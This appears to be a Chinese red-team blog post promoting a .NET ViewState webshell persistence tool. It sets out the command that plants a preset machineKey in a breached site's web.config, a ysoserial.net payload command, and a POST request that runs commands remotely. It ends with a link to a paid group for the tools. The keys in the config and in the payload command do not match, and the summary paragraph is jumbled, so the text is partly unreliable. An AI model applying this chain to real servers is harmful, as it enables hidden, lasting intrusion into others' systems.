在红队渗透测试中,权限维持是核心环节之一。尤其在面对已成功打点的 .NET Web 服务时,如何在不落盘、不依赖权限提升的前提下,实现长时间稳定控制,始终是红队技术演进的方向。
Sharp4ViewStateShell4,正是围绕该目标设计的一款新一代 .NET Web 权限维持工具。基于经典的 ViewState
反序列化漏洞实现远程命令执行,同时通过自动化配置修改、辅助脚本释放与防护绕过等多重手段,构建出一个更稳定、隐蔽、适配性更强的 WebShell 渗透利用链。
01. 工具基本介绍
Sharp4ViewStateShell4.exe 是对原有
Sharp4ViewStateShell
系列工具的重构与增强,核心能力包括:释放随机命名的辅助脚本,用于获取必要的 __VIEWSTATEGENERATOR
值,自动释放绕过配置 Web.config,防止脚本运行限制与目录统一重定向策略,增强落地成功率。
02. 工具实战用法
.NET 的 ViewState 功能本质是为了解决 Web 应用的无状态问题,保存控件状态信息。但如果目标应用开启了 EnableViewStateMac="true"
并使用弱或可控的 MachineKey,攻击者就可以伪造 ViewState,借助 ysoserial.net 工具构造反序列化链,从而实现命令执行RCE。
2.1 一键修改配置文件
修改目标假设目标站点的物理路径为:C:\inetpub\wwwroot\,在具有写入权限的目录,Upload
下执行如下命令:
Sharp4ViewStateShell4.exe "C:\inetpub\wwwroot"
该命令会完成以下操作:修改web.config
,插入预设的MachineKey:
<machineKey
validationKey="B8D7C72D38E8972EA6B955F2D4C8D5B0A2E3F4C6A9B1D3E5F7A9C8B6D4E2F1"
decryptionKey="E4D5C6B3A8F9E7D6C5B4A3F2E1D0C9B8A7"
validation="SHA1"
decryption="AES"/>
在Upload
目录下生成随机的脚本名,用于获取__VIEWSTATEGENERATOR
值,比如HBJhbo_GenerateViewState.aspx。
2.2 构建测试载荷
只需根据辅助脚本获取的
__VIEWSTATEGENERATOR
值,并结合工具预设的 MachineKey,即可使用 ysoserial.net
工具构造反序列化 payload:
ysoserial.exe -p ViewState -g XamlAssemblyLoadFromFile -c "./ExploitClass.cs;./dlls/System.dll;./dlls/System.Web.dll" \
--validationalg="SHA1" \
--validationkey="28E969418EFBAF7DAF4A05B12A9F588774129BA306ED094A0C9CA70A45F6C4A83512EB9CF050D7261ADA8E57728B830E540BC26394CEF1F43AEC642AD61D894F" \
--decryptionalg="AES" \
--decryptionkey="F6F6CB3C4FE662991CEF709C5A2ACDDD228FDF21CD708186736FE4B3E008B3A6" \
--generator="DBC4925F"
该命令会输出Base64编码的__VIEWSTATE
值,用于后续操作,构造POST请求,将生成的ViewState数据发送至目标。
POST /随机名_GenerateViewState.aspx HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length:1024
__VIEWSTATE=[Base64 Payload]
如一切配置正确,将在页面响应中看到命令结果,比如 tasklist
。
综上,Sharp4ViewStateShell4.exe
释放了一个
利用了 .NET 的 ViewState 反序列化机制配合自定义 MachineKey,实现持久化远程命令执行,非常适合在红队渗透中用于权限维持。GenerateViewState脚本,更加容易获取
__VIEWSTATEGENERATOR 参数值,再加上
03.NET安全扩展学习
文/章/涉/及/的/工/具/已/打/包,请//加//入//后/下//载:https://wx.zsxq.com/group/51121224455454